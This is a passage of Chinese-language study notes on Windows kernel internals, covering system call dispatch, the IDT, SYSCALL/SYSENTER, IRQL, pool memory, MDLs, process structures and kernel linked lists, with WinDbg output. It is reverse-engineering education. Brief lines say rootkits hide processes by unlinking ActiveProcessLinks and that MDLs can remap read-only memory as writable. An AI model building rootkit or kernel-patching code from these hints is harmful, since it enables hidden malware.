每一个处理器都拥有一个PCR，用于存储CPU的重要信息和状态

在32位操作系统中，PCR中包含了IDT的基地址以及当前的IRQL（Interrupt Request Level）

在PCR中还存在着另外一个结构体PRCB——processor region control block

PCR和PRCB都是没有文档的，只能通过windbg的内核调试来观察他们的定义

dt nt!_KPCR
dt nt!_KPRCB

当前处理器的PCR总是可以在内核模式下通过特殊的寄存器访问到

Windows内核中有两个例程可以获取到当前的KPROCESS和KTHREAD结构体

PsGetCUrrentProcess
PSGetCurrentThread

这两个例程就是通过查询PCR/PRCB来实现的

kd> uf nt!PsGetCurrentThread
nt!PsGetCurrentThread:
fffff800`2ff63770 65488b042588010000 mov   rax,qword ptr gs:[188h]
fffff800`2ff63779 c3              ret

gs[0]是PCR结构体的地址，0x180是PRCB在PCR结构体中的偏移量

0x8是CurrentThread在PRCB中的偏移量

因此使用gs[188h]就能获取到KTHREAD结构体

kd> uf nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
fffff800`2fec9770 65488b042588010000 mov   rax,qword ptr gs:[188h]
fffff800`2fec9779 488b80b8000000  mov     rax,qword ptr [rax+0B8h]
fffff800`2fec9780 c3              ret

此时rax已经指向了KTHREAD结构体，然后又取得了KTHREAD结构体0xB8偏移量的值，下面是KTHREAD结构体的定义

kd> dt nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : Ptr64 Void
   +0x020 QuantumTarget    : Uint8B
   +0x028 InitialStack     : Ptr64 Void
   +0x030 StackLimit       : Ptr64 Void
   +0x038 StackBase        : Ptr64 Void
   +0x040 ThreadLock       : Uint8B
   +0x048 CycleTime        : Uint8B
   +0x050 CurrentRunTime   : Uint4B
   +0x054 ExpectedRunTime  : Uint4B
   +0x058 KernelStack      : Ptr64 Void
   +0x060 StateSaveArea    : Ptr64 _XSAVE_FORMAT
   +0x068 SchedulingGroup  : Ptr64 _KSCHEDULING_GROUP
   +0x070 WaitRegister     : _KWAIT_STATUS_REGISTER
   +0x071 Running          : UChar
   +0x072 Alerted          : [2] UChar
   +0x074 KernelStackResident : Pos 0, 1 Bit
   +0x074 ReadyTransition  : Pos 1, 1 Bit
   +0x074 ProcessReadyQueue : Pos 2, 1 Bit
   +0x074 WaitNext         : Pos 3, 1 Bit
   +0x074 SystemAffinityActive : Pos 4, 1 Bit
   +0x074 Alertable        : Pos 5, 1 Bit
   +0x074 CodePatchInProgress : Pos 6, 1 Bit
   +0x074 UserStackWalkActive : Pos 7, 1 Bit
   +0x074 ApcInterruptRequest : Pos 8, 1 Bit
   +0x074 QuantumEndMigrate : Pos 9, 1 Bit
   +0x074 UmsDirectedSwitchEnable : Pos 10, 1 Bit
   +0x074 TimerActive      : Pos 11, 1 Bit
   +0x074 SystemThread     : Pos 12, 1 Bit
   +0x074 ProcessDetachActive : Pos 13, 1 Bit
   ...
   +0x098 ApcState         : _KAPC_STATE
   +0x098 ApcStateFill     : [43] UChar
   +0x0c3 Priority         : Char
   +0x0c4 UserIdealProcessor : Uint4B
   +0x0c8 WaitStatus       : Int8B
   +0x0d0 WaitBlockList    : Ptr64 _KWAIT_BLOCK
   +0x0d8 WaitListEntry    : _LIST_ENTRY
   ...

首先在KTHREAD结构体中并没有0xB8这个偏移量，只有0x98，很明显该偏移量是一个union，显然应该是ApcState

再加上0x20的偏移量，正好就是0xB8，进而获取到KPROCESS

系统调用

系统调用的实现细节也是没有文档的

系统调用的相关信息存储在这两个数据结构中

service table descriptor
array of function pointers/offsets

service table descriptor没有文档，是别人通过分析KiSystemCall64和KiSystemService例程从而得到该结构的定义的

typedef struct _KSERVICE_TABLE_DESCRIPTOR
{
 PULONG Base; // array of fucntion addresses or offsets
 PULONG Count;
 ULONG Limit; // size of the array
 PUCHAR Number;
 ...
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;

system call number就是Base指向的数组中的索引，Limit就是Base指向的数组的长度

内核中有两个全局数组：

KeServiceDescriptorTable
KeServiceDescriptorTableShadow

后者比前者多可一个GUI系统调用表

另外还有两个全局指针分别指向非GUI系统调用的地址以及GUI系统调用的地址：

KiSserviceTable
W32pServiceTable

下面是在32位操作系统中那两个全局数组和两个全局指针的关系

在64位操作系统中，情况稍有不同

这里出现了两个nt!KiServiceTable，不要感到意外，因为nt!KeServiceDescriptorTable本身就是一个表，里面的元素就是一个个的KSERVICE_TABLE_DESCRIPTOR，因此出现一次两次或者更多都是正常现象

先来看一下ntdll!NtCreateFile函数的实现代码：

kd> uf ntdll!NtCreateFile
ntdll!NtCreateFile:
000007fc`2bca30f0 4c8bd1          mov     r10,rcx
000007fc`2bca30f3 b853000000      mov     eax,53h
000007fc`2bca30f8 0f05            syscall
000007fc`2bca30fa c3              ret

上面的汇编代码中，eax就是system call number，即0x53

数组的起始地址：

kd> x nt!KiServiceTable
fffff803`eb4f7200 nt!KiServiceTable (<no parameter info>)

每个系统调用在数组中占用4bytes

那么第0x53号系统调用的值应该为：

kd> dd nt!KiServiceTable+(0x53*4) L1
fffff803`eb4f734c  03e93907

这个数字03e93907是一个被编码过的数字，编码规则如下：

高28位表示偏移量，低4位表示使用需要使用栈传递的参数个数

kd> uf nt!KiServiceTable + (03e93907>>4)
nt!NtCreateFile:
fffff803`eb8e0590 4881ec88000000  sub     rsp,88h
fffff803`eb8e0597 33c0            xor     eax,eax
fffff803`eb8e0599 4889442478      mov     qword ptr [rsp+78h],rax
fffff803`eb8e059e c744247020000000 mov     dword ptr [rsp+70h],20h
fffff803`eb8e05a6 89442468        mov     dword ptr [rsp+68h],eax
fffff803`eb8e05aa 4889442460      mov     qword ptr [rsp+60h],rax
...
fffff803`eb8e05ff 4889442420      mov     qword ptr [rsp+20h],rax
fffff803`eb8e0604 e837f5ffff      call    nt!IopCreateFile (fffff803`eb8dfb40)
fffff803`eb8e0609 4881c488000000  add     rsp,88h
fffff803`eb8e0610 c3              ret

需要通过栈进行传递的参数是7个

一共需要11个参数，前4个是通过寄存器进行传递的

系统调用一般通过中断或者处理器特有的指令实现

Faults Traps Interrupts

这里介绍一些专业术语以便更好的解释外围设备和软件是如何与处理器进行交互的

当代计算机系统中，处理器一般通过数组总线比如PCI、FireWire或者USB等和外围设备进行连接

外围设备发起请求的时候会引发一个interrupt强制中断处理器当前的任务，而让处理器转而去处理该外围设备的请求

笼统的讲，interrupt会和一个数字关联，该数字是一个函数指针数组的索引，当处理器收到请求时，就会根据该interrupt关联的索引找到对应的函数来对该请求进行处理

处理完成（函数返回）后，处理器会返回到之前的任务继续执行

上面这种被称作hardware interrupt，由于外围设备的特性，这种中断天生就是异步的（请求可能在任意时刻产生）

处理器在执行指令的时候可能会遇到异常，比如零除、空指针等

异常可以被分为两类

faults——错误
traps——陷阱

faults是可以被修复的异常

faults：

比如一个指令引用了一个合法的地址，但是该地址中并无数据，此时会引发一个page fault（页错误）异常，并调用page fault handler来修复此异常（通过page in缺失的数据），然后重新执行之前引发异常的指令

traps通常由特殊类型的指令执行引发

traps:

比如在64位操作系统中，SYSCALL指令会使得处理器执行由MSR寄存器指定的地址处的代码，执行完成之后，SYSCALL指令之后的代码会被立即执行

这两者的区别就是handler执行完成之后，下一条指令的位置，前者是同一条指令，而后者则是下一条指令

Interrupts

因特尔架构的处理器定义了一个IDT——interrupt descriptor table

此表长度位256，每一个表项都是一个包含了interrupt handler信息的结构体，IDT的基地址保存在IDTR寄存器中

IDT一部分的表项是预定义的保留项，32-255项可以由用户自行定义

32位操作系统中表项的结构体定义如下，一共是8bytes

kd> dt nt!_KIDTENTRY
   +0x000 Offset           : Uint2B
   +0x002 Selector         : Uint2B
   +0x004 Access           : Uint2B
   +0x006 ExtendedOffset   : Uint2B

64位：

kd> dt nt!_KIDTENTRY64
   +0x000 OffsetLow        : Uint2B
   +0x002 Selector         : Uint2B
   +0x004 IstIndex         : Pos 0, 3 Bits
   +0x004 Reserved0        : Pos 3, 5 Bits
   +0x004 Type             : Pos 8, 5 Bits
   +0x004 Dpl              : Pos 13, 2 Bits
   +0x004 Present          : Pos 15, 1 Bit
   +0x006 OffsetMiddle     : Uint2B
   +0x008 OffsetHigh       : Uint4B
   +0x00c Reserved1        : Uint4B
   +0x000 Alignment        : Uint8B

interrupt handler的offset被分为了高中低三部分

下面来看一下如何解析IDT（x86）

kd> r @idtr
idtr=80efc400
kd> dt nt!_KIDTENTRY 80efc400
   +0x000 Offset           : 0x5284
   +0x002 Selector         : 8
   +0x004 Access           : 0x8e00
   +0x006 ExtendedOffset   : 0x8117
kd> u 0x81175284
nt!KiTrap00:
81175284 6a00            push    0
81175286 66c74424020000  mov     word ptr [esp+2],0
8117528d 55              push    ebp
8117528e 53              push    ebx
8117528f 56              push    esi
81175290 57              push    edi
81175291 0fa0            push    fs
81175293 bb30000000      mov     ebx,30h

很简单，就是把ExtendedOffset作为高16位，Offset作为低16位拼接起来就可以得到interrupt handler的地址了

下面来看一下使用interrupt实现的系统调用

环境位windows7 x86 sp1（debuggee）和windows10 x64 1903（debugger）

调试环境和遇到的问题：

win7镜像依然通过rufus进行下载

kd> uf ntdll!NtCreateFile
ntdll!NtCreateFile:
776850f0 b842000000      mov     eax,42h
776850f5 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
776850fa ff12            call    dword ptr [edx]
776850fc c22c00          ret     2Ch

可以看到，调用了SharedUserData!SystemCallStub指向的函数

书上说，在所有架构的处理器中都有一个叫做KUSER_SHARED_DATA的结构体会映射到0x7ffe0000上

kd> dt ntdll!_KUSER_SHARED_DATA
   +0x000 TickCountLowDeprecated : Uint4B
   +0x004 TickCountMultiplier : Uint4B
   ...
   +0x2f8 TestRetInstruction : Uint8B
   +0x300 SystemCall       : Uint4B
   ...
   +0x3d8 DEPRECATED_SystemDllWowRelocation : Uint4B
   +0x3dc XStatePad        : [1] Uint4B
   +0x3e0 XState           : _XSTATE_CONFIGURATION

那么KUSER_SHARED_DATA偏移量为0x300的地方就是SystemCall，是一个32位的地址

kd> u poi(SharedUserData!SystemCallStub)
ntdll!KiFastSystemCall:
77686bb0 8bd4            mov     edx,esp
77686bb2 0f34            sysenter
ntdll!KiFastSystemCallRet:
77686bb4 c3              ret
77686bb5 8da42400000000  lea     esp,[esp]
77686bbc 8d642400        lea     esp,[esp]
ntdll!KiIntSystemCall:
77686bc0 8d542408        lea     edx,[esp+8]
77686bc4 cd2e            int     2Eh
77686bc6 c3              ret

最后进入了0x2E号中断（这里我分析的不对，根本就不会执行中断，而是执行ntdll!KiFastSystemCall中的sysenter，执行完之后就直接返回了，可能是因为处理器的原因，并没有执行ntdll!KiIntSystemCall的代码）

kd> !idt 0x2E

Dumping IDT: 80b93000

a6eeb3870000002e:   82a4546a nt!KiSystemService

kd> u 82a4546a 
nt!KiSystemService:
82a4546a 6a00            push    0
82a4546c 55              push    ebp
82a4546d 53              push    ebx
82a4546e 56              push    esi
82a4546f 57              push    edi
82a45470 0fa0            push    fs
82a45472 bb30000000      mov     ebx,30h
82a45477 668ee3          mov     fs,bx

可以看到KiSystemSserice是syscall handler dispatcher

Traps

前面已经提到过64位操作系统中ntdll!NtCreateFile使用的0x53号系统调用

kd> uf ntdll!NtCreateFile
ntdll!NtCreateFile:
000007fc`2bca30f0 4c8bd1          mov     r10,rcx
000007fc`2bca30f3 b853000000      mov     eax,53h
000007fc`2bca30f8 0f05            syscall
000007fc`2bca30fa c3              ret

syscall指令可以将执行流程切换至内核模式，那这个切换如何实现的呢？

根据SYSCALL文档，当syscall指令被执行的时候，RIP寄存器会从IA32_LSTAR MSR (0xc0000082)中取值

kd> rdmsr 0xC0000082
msr[c0000082] = fffff803`eb4fadc0
kd> u fffff803`eb4fadc0
nt!KiSystemCall64:
fffff803`eb4fadc0 0f01f8          swapgs
fffff803`eb4fadc3 654889242510000000 mov   qword ptr gs:[10h],rsp
fffff803`eb4fadcc 65488b2425a8010000 mov   rsp,qword ptr gs:[1A8h]
fffff803`eb4fadd5 6a2b            push    2Bh
fffff803`eb4fadd7 65ff342510000000 push    qword ptr gs:[10h]
fffff803`eb4faddf 4153            push    r11
fffff803`eb4fade1 6a33            push    33h
fffff803`eb4fade3 51              push    rcx

世界的尽头就是nt!KiSystemCall64

Windows在系统启动阶段对处理器进行初始化的时候将IA32 LSTAR MSR设置为nt!KiSystemCall64函数的地址

具体实现代码在nt!KiInitializeBootStructures

uf nt!KiInitializeBootStructures
...
fffff803`eb7e4990 488d052964d1ff  lea     rax,[nt!KiSystemCall64 (fffff803`eb4fadc0)]
fffff803`eb7e4997 b9820000c0      mov     ecx,0C0000082h
fffff803`eb7e499c 488bd0          mov     rdx,rax
fffff803`eb7e499f 48c1ea20        shr     rdx,20h
fffff803`eb7e49a3 0f30            wrmsr
...

wrmsr指令会将EDX:EAX写入由ECX寄存器指定的MSR寄存器中：https://www.felixcloutier.com/x86/wrmsr

MSR[ECX] ← EDX:EAX

在上面的汇编代码中，首先将nt!KiSystemCall64函数的地址放到了rax中，然后给rcx赋值

rax值复制到rdx，rdx右移32bit，这样一来edx就是nt!KiSystemCall64函数地址的高32位，eax就是该地址的低32位，执行完wrmsr指令后即可将nt!KiSystemCall64函数的地址写入IA32_LSTAR MSR (0xc0000082)

在执行syscall指令之前，RCX中已经保存了返回地址，因此当syscall做完自己的工作后，就会将RCX中的值放到RIP寄存器中，这样就可以返回到syscall之后的指令处继续执行了

使用traps实现的syscall代码注释

下面来看x86的，32位的Windows操作系统使用SYSENTER指令实现系统调用

kd> u ntdll!NtQueryInformationProcess
ntdll!NtQueryInformationProcess:
770c4fc0 b8b0000000      mov     eax,0B0h
770c4fc5 e803000000      call    ntdll!NtQueryInformationProcess+0xd (770c4fcd)
770c4fca c21400          ret     14h
770c4fcd 8bd4            mov     edx,esp
770c4fcf 0f34            sysenter
770c4fd1 c3              ret
770c4fd2 8bff            mov     edi,edi

ntdll!NtQueryInformationProcess+0xd的代码是

770c4fca c21400          ret     14h
770c4fcd 8bd4            mov     edx,esp

ret 14h说明传入了20字节的参数，一个按照4字节，就是5个参数，用户空间的rsp被保存到了edx寄存器中

Intel文档中规定SYSENTER指令会将EIP设置为MSR（0x176h）的值

kd> rdmsr 176
msr[176] = 00000000`811741d0
kd> u 811741d0
nt!KiFastCallEntry:
811741d0 b923000000      mov     ecx,23h
811741d5 6a30            push    30h
811741d7 0fa1            pop     fs
811741d9 8ed9            mov     ds,cx
811741db 8ec1            mov     es,cx
811741dd 648b0d40000000  mov     ecx,dword ptr fs:[40h]
811741e4 8b6104          mov     esp,dword ptr [ecx+4]
811741e7 6a23            push    23h

和SYSCALL指令不同的是，SYSENTER并不会在寄存器中设置返回地址，那么在系统调用执行完成后，是如何返回到之前的执行流程的呢

关于函数调用过程中，栈空间的变化，参考这篇文章

那么在上面ntdll!NtQueryInformationProcess代码中，函数ntdll!NtQueryInformationProcess+0xd的第一条指令就是将esp保存到edx中，而此时的esp指向的正是该函数的返回地址，也就是RET 14h指令的地址（不要问我为什么不是ebp，因为此处根本就没有push ebp的操作，和参考文章略有不同）

kd> bp ntdll!NtQueryInformationProcess
kd> g
kd> u
ntdll!NtQueryInformationProcess:
770c4fc0 b8b0000000      mov     eax,0B0h
770c4fc5 e803000000      call    ntdll!NtQueryInformationProcess+0xd (770c4fcd)
770c4fca c21400          ret     14h
770c4fcd 8bd4            mov     edx,esp
770c4fcf 0f34            sysenter
770c4fd1 c3              ret
770c4fd2 8bff            mov     edi,edi
kd> dd /c 1 esp L4
03c8eab0  747d10e1
03c8eab4  ffffffff
03c8eab8  0000001a
03c8eabc  03c8eacc
03c8eaec  0002017c
kd> t
eax=000000b0 ebx=063c41e0 ecx=00000030 edx=00000320 esi=06279490 edi=06279480
eip=770c4fc5 esp=03c8eab0 ebp=03c8ead0 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ntdll!NtQueryInformationProcess+0x5:
001b:770c4fc5 e803000000      call    ntdll!NtQueryInformationProcess+0xd (770c4fcd)
kd> t
eax=000000b0 ebx=063c41e0 ecx=00000030 edx=00000320 esi=06279490 edi=06279480
eip=770c4fcd esp=03c8eaac ebp=03c8ead0 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ntdll!NtQueryInformationProcess+0xd:
001b:770c4fcd 8bd4            mov     edx,esp
kd> dd /c 1 esp L4
03c8eaac  770c4fca
03c8eab0  747d10e1
03c8eab4  ffffffff
03c8eab8  0000001a

系统调用完成后，syscall dispatcher会执行SYSEXIT指令，根据定义，SYSEXIT指令会将EIP设置为EDX的值，将ESP设置为ECX的值

实际情况是EDX保存的是ntdll!KiFastSystemCallRet函数的地址，ECX保存的是调用ntdll!NtQueryInformationProcess+0xd (770c4fcd)函数之后的esp的值

kd> bp KiSystemCallExit2+18
kd> bl
     0 e Disable Clear  81174458     0001 (0001) nt!KiSystemCallExit2+0x18

kd> g
Breakpoint 0 hit
eax=00000000 ebx=063c41e0 ecx=03c8eaac edx=770c6954 esi=06279490 edi=06279480
eip=81174458 esp=8ba6dfcc ebp=03c8ead0 iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000286
nt!KiSystemCallExit2+0x18:
81174458 0f35            sysexit
kd> dd /c 1 ecx L1
03c8eaac  770c4fca
kd> u edx
ntdll!KiFastSystemCallRet:
770c6954 c3              ret
770c6955 8da42400000000  lea     esp,[esp]
770c695c 8d642400        lea     esp,[esp]
ntdll!KiIntSystemCall:
770c6960 8d542408        lea     edx,[esp+8]
770c6964 cd2e            int     2Eh
770c6966 c3              ret
770c6967 90              nop
770c6968 90              nop

将EIP设置为EDX的值将会立即执行ntdll!KiFastSystemCallRet函数的ret指令，从栈中取出返回地址，即ecx指向的地址770c4fca，也就是ntdll!NtQueryInformationProcess函数中的ret 14h这条指令的地址

中断请求等级

IRQL——Interrupt Request Level

简单来讲，IRQL就是一个数字，定义在KIRQL结构体中，是一个UCHAR类型，也就是说长度只有1字节，这是一个分配给处理器的数字

IRQL的值越大，优先级就越高

处理器的本地中断控制器中有两个寄存器，一个是可编程的TPR，一个是只读的PPR，可以通过TPR来控制IRQL的值，PPR用于保存当前IRQL的值

在Windows中，可以通过KeRaiseIrql和KeLowerIrql这两个内核函数来控制IRQL，在X64中，可以通过CR8寄存器快速访问TPR

kd> u nt!KzRaiseIrql
nt!KzRaiseIrql:
fffff800`6ccd7260 440f20c0        mov     rax,cr8
fffff800`6ccd7264 0fb6c9          movzx   ecx,cl
fffff800`6ccd7267 440f22c1        mov     cr8,rcx
fffff800`6ccd726b c3              ret

kd> u nt!KzLowerIrql
nt!KzLowerIrql:
fffff800`6ccd72c0 0fb6c1          movzx   eax,cl
fffff800`6ccd72c3 440f22c0        mov     cr8,rax
fffff800`6ccd72c7 c3              ret

Pool Memory

在内存分配方面，内核模式和用户模式很相似，都是在运行时进行

内核模式下的内存叫做pool memory，相当于用户模式下的heap memory

pool memory有两种类型：

paged pool
non-paged pool

关于内存分页机制

这两种类型的pool memory的区别在于，前者可以在任意时刻被交换到硬盘中，而后者永远都不会被交换到硬盘中

对于paged pool，如果内核模式下的代码访问的内存被交换出去了，那么page-fault会被触发从而将对应的内存交换回来，而后者不会触发page-fault

对于运行在高IRQL（>APC_LEVEL）的内核代码，只能使用non-paged pool，因为如果使用paged pool，可能会触发page-fault，从而导致page-fault handler发起缺页中断请求，但是当前运行线程的IRQL太高，比自己低的都会被阻塞，那么这个处理器就完全死掉了，进入了死锁，缺页中断在等待内核代码降低自己IRQL从而将内存交换回来，而内核代码在等待缺页中断将内存交换回来，这将会直接导致内核崩溃

https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/managing-hardware-priorities

Any routine that is running at greater than IRQL APC_LEVEL can neither allocate memory from paged pool nor access memory in paged pool safely. If a routine running at IRQL greater than APC_LEVEL causes a page fault, it is a fatal error.

pool memory的分配和释放分别使用ExAllocatePool *和ExFreePool *函数

Memory Descriptor Lists

MDL

关于MDL的介绍，我放到了这里

多个MDL可以组成链表，MDL中有一个Next成员用于指向下一个MDL

一段buffer的MDL创建之后，对应的物理内存页就可以被锁定在内存中（意味着这段内存暂时不能被复用），然后可以讲这段物理内存映射到虚拟内存中

MDL的一个应用场景就是写入不可写的内存，可以先初始化一个MDL，上锁，然后把这段不可写的虚拟内存对应的物理内存重新映射到可写的虚拟内存中

进程和线程

在Windows操作系统中，线程通过两个内核结构体定义：

ETHREAD
KTHREAD

前者保存一些基本信息，比如线程ID、关联进程等等信息

后者保存调度信息，比如线程栈信息，运行在哪颗处理器上

ETHREAD结构体中包含一个类型为KTHREAD的成员

windows调度器是针对线程进行调度的，而不是进程

一个进程至少包含一个线程（主线程），进程由内核中的两个结构体定义：

EPROCESS
KPROCESS

前者保存进程的基本信息，比如进程ID，security token，线程列表等信息

后者保存调度信息，page directory table，ideal processor等信息

EPROCESS结构体中包含一个类型为KPROCESS的成员

可以通过windbg的dt命令查看这几个结构体的定义

这里以x64举例

kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2c8 ProcessLock      : _EX_PUSH_LOCK
   +0x2d0 CreateTime       : _LARGE_INTEGER
   +0x2d8 RundownProtect   : _EX_RUNDOWN_REF
   +0x2e0 UniqueProcessId  : Ptr64 Void
   +0x2e8 ActiveProcessLinks : _LIST_ENTRY
   ...
kd> dt nt!_KPROCESS
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 ProfileListHead  : _LIST_ENTRY
   +0x028 DirectoryTableBase : Uint8B
   +0x030 ThreadListHead   : _LIST_ENTRY
   +0x040 ProcessLock      : Uint4B
   +0x044 Spare0           : Uint4B
   +0x048 Affinity         : _KAFFINITY_EX
   ...
kd> dt nt!_ETHREAD
   +0x000 Tcb              : _KTHREAD
   +0x348 CreateTime       : _LARGE_INTEGER
   +0x350 ExitTime         : _LARGE_INTEGER
   +0x350 KeyedWaitChain   : _LIST_ENTRY
   +0x360 ChargeOnlySession : Ptr64 Void
   +0x368 PostBlockList    : _LIST_ENTRY
   ...
kd> dt nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : Ptr64 Void
   +0x020 QuantumTarget    : Uint8B
   +0x028 InitialStack     : Ptr64 Void
   +0x030 StackLimit       : Ptr64 Void
   +0x038 StackBase        : Ptr64 Void
   ...

rootkit通过删除_EPROCESS结构体中的ActiveProcessLinks成员来隐藏特定的进程

不过该成员在结构体中的偏移量可能会随着windows版本的不同而发生变化

在用户模式中，也由于上述结构体对应的概念存在，PEB和TED分别为进程环境块和线程环境块，用于描述进程和线程的基本信息

nt!_PEB
nt!_TEB

用户模式的代码可以通过FS（x86）和GS（x64）段寄存器访问TEB

execution context

从内核的角度来看，execution context可以被分为三类

Thread Context
System Context
Arbitrary Context

代码运行时所处的context决定了你当前位于哪块地址空间以及你所拥有的security privilege

内核同步原语

事件、自旋锁、互斥量、资源锁、定时器这些是最常用的同步原语

事件可以有两种状态

signaled
non-signaled

事件在内核中通过KEVENT结构体定义，通过KeInitializeEvent函数来初始化

线程可以通过KeWaitForSingleObject或KeWaitForMultipleObjects来等待事件

事件通常被驱动用来通知其他的线程某种特定的条件已被满足

定时器在内核中由KTIMER结构体定义，通过KeInitializeTimer(Ex)初始化

可以在初始化定时器的时候指定一个DPC例程，当定时器过期的时候执行该例程

互斥量、自旋锁不再介绍，学过操作系统原理的都懂

Lists

链表是创建内核和驱动中的动态数据块的重要基础

许多内核结构体都是基于链表创建的

在WDK头文件中，可能会存在几个操作链表的函数：

InsertHeadList
InsertTailList
RemoveHeadList
RemoveEntryList
...

但是这些函数基本上都是使用inline关键字修饰的，在编译阶段会被优化到caller中变成一段代码，而不是函数，因此你不会在汇编代码中看到类似call InsertHeadList这样的指令

实现细节

WDK中定义的函数支持以下几种类型的链表

单链表——每个entry中只有一个Next指针
Sequenced单链表——与上面单链表的唯一区别就是它支持原子操作，在更改这种类型的链表之前不需要申请加锁
循环双链表——每个entry中拥有两个指针，指向前面entry的Blink以及指向后面entry的Flink

本章只介绍最后一种类型的链表，因为它是用的最多的

双链表entry（节点）的定义

typedef struct _LIST_ENTRY {
    struct _LIST_ENTRY *Flink；  // forward link，指向自己后面的节点
    struct _LIST_ENTRY *Blink;   // backward link，指向自己前面的节点
} LIST_ENTRY, *PLIST_ENTRY;

一般来讲，LIST_ENTRY中会存储数据，但是实际上，LIST_ENTRY只存储了两个LIST_ENTRY指针，LIST_ENTRY会被嵌入到真正储存数据的其他结构体中

使用函数InitializaListHead函数初始化链表，该函数会使设置Flink和Blink这两个指针指向链表头结点

VOID InitializeListHead(PLIST_ENTRY ListHead) {
    ListHead->Flink = ListHead->Blink = ListHead;
    return;
}

该函数的汇编代码

4和8是Blink在LIST_ENTRY中的偏移量，eax和r11是ListHead

在初始化之后，就可以对链表进行插入了，可以插入到头部或者尾部

看一下KDPC结构体的定义

kd> dt nt!_KDPC
   +0x000 Type             : UChar
   +0x001 Importance       : UChar
   +0x002 Number           : Uint2B
   +0x008 DpcListEntry     : _LIST_ENTRY     ; 正如上面所说，LIST_ENTRY被嵌入到其他结构体中
   +0x018 DeferredRoutine  : Ptr64     void 
   +0x020 DeferredContext  : Ptr64 Void
   +0x028 SystemArgument1  : Ptr64 Void
   +0x030 SystemArgument2  : Ptr64 Void
   +0x038 DpcData          : Ptr64 Void

插入之后链表就变成了下面这个样子

由原来的Flink和Blink都指向自己变成了都指向KDPC结构体中的LIST_ENTRY结构体（DPCListEntry）

然后DpcListEntry的Flink和Blink都指向头结点（因为现在只有两个节点，所以每个节点的头尾指针指向的都是同一个节点）

使用InsertHeadList从头部插入一个KDPC节点，此时链表将会变成下面这个样子

注意在上图中，中间的那个是新插入的节点，可以集合下面的反编译代码理解

下面是反编译出来的InsertHeadList函数

VOID InsertHeadList(PLIST_ENTRY ListHead, PLIST_ENTRY Entry) {
     PLIST_ENTRY Flink;
     Flink = ListHead->Flink;
     Entry->Flink = Flink;
     Entry->Blink = ListHead;
     Flink->Blink = Entry;
     ListHead->Flink = Entry;
     return;
}

新插入节点的Flink将会指向之前的节点，而之前的节点就是Listhead->Flink，因此有Entry->Flink = ListHead->Flink

新节点的Blink将会指向头结点，即Entry->Blink = ListHead

头结点的Flink将会指向新的节点，ListHead->Flink = Entry

之前的节点，也就是ListHead->Flink的Blink将会指向新的节点，因此有ListHead->Flink(Flink)->Blink = Entry

头结点的Blink和之前节点的Flink无需变动

汇编代码

上面的x86代码中，ebx是ListHead，ecx是Entry，由于Flink是ListEntry第一个成员，所以和ListHead->Flink就是[ebx]

x64代码中，rdi是ListHead，rax是Entry

使用InsertTailList可以从链表尾部插入一个节点，链表将会变成下面这个样子

结合下面的反汇编代码理解

VOID InsertTailList(PLIST_ENTRY ListHead, PLIST_ENTRY Entry) {
    PLIST_ENTRY Blink;
    Blink = ListHead->Blink;
    Entry->Flink = ListHead;
    Entry->Blink = Blink;
    Blink->Flink = Entry;
    ListHead->Blink = Entry;
    return;
}

Header的Blink和OldEntry的Flink发生了变化，都变成指向NewEntry

ListHead->Blink = Entry

ListHead->Flink/Blink(Blink)->Flink = Entry

NewEntry的Flink和Blink分别指向Header和OldEntry

Entry->Flink= ListHead

Entry->Blink = ListHead->Flink/Blink(Blink)

汇编代码

x86：ebx是ListHead，eax是Entry

x64：rdi是ListHead，rax是Entry

移除节点的函数有三个

RemoveHeadList
RemoveTailList
RemoveEntryList

这几个函数在执行之前都会先执行一下IsListEmpty这个函数来判断当前链表的头结点的Flink是不是指向他自己，如果是，说明该链表只有一个头结点，也就相当于这个链表是空的

isListEmpty:

BOOLEAN IsListEmpty(PLIST_ENTRY ListHead) {
    return (BOOLEAN)(ListHead->Flink == ListHead);
}

汇编代码

代码很好理解，esi和rbx是ListHead，[esi]和[rbx]是ListHead->Flink

RemoveHeadList

PLIST_ENTRY RemoveHeadList(PLIST_ENTRY ListHead) {
    PLIST_ENTRY Flink;
    PLIST_ENTRY Entry;
    Entry = ListHead->Flink;
    Flink = Entry->Flink;
    ListHead->Flink = Flink;
    Flink->Blink = ListHead;
    return Entry;
}

把头结点的Flink所指向的节点删除掉了，头结点的Flink转而指向ListHead->Flink->Flink，即要删除的节点的Flink所指向的节点

而ListHead->Flink->Flink的Blink转而指向ListHead

汇编代码

esi和rbx是ListHead，eax和rax是要删除的节点，ecx和rcx是要删除的节点的Flink指向的节点

RemoveTailList

PLIST_ENTRY RemoveTailList(PLIST_ENTRY ListHead) { 
    PLIST_ENTRY Blink;
    PLIST_ENTRY Entry;
    Entry = ListHead->Blink;
    Blink = Entry->Blink;
    ListHead->Blink = Blink;
    Blink->Flink = ListHead;
    return Entry;
}

不再赘述，和RemoveHeadList差不多

edi和rdi是ListHead，ebx和rsi是Entry，eax和rax是要删除的节点Blink指向的节点

RemoveEntryList

x64下的汇编代码

fffff803`85c8aa8e 488b07          mov     rax,qword ptr [rdi]
fffff803`85c8aa91 483bc7          cmp     rax,rdi
fffff803`85c8aa94 0f8599000000    jne     nt!AlpcSectionDeleteProcedure+0x113 (fffff803`85c8ab33)  Branch
fffff803`85c8ab33 488b4f08        mov     rcx,qword ptr [rdi+8]
fffff803`85c8ab37 48397808        cmp     qword ptr [rax+8],rdi
fffff803`85c8ab3b 7522            jne     nt!AlpcSectionDeleteProcedure+0x13f (fffff803`85c8ab5f)  Branch

nt!AlpcSectionDeleteProcedure+0x11d:
fffff803`85c8ab3d 483939          cmp     qword ptr [rcx],rdi
fffff803`85c8ab40 751d            jne     nt!AlpcSectionDeleteProcedure+0x13f (fffff803`85c8ab5f)  Branch

nt!AlpcSectionDeleteProcedure+0x122:
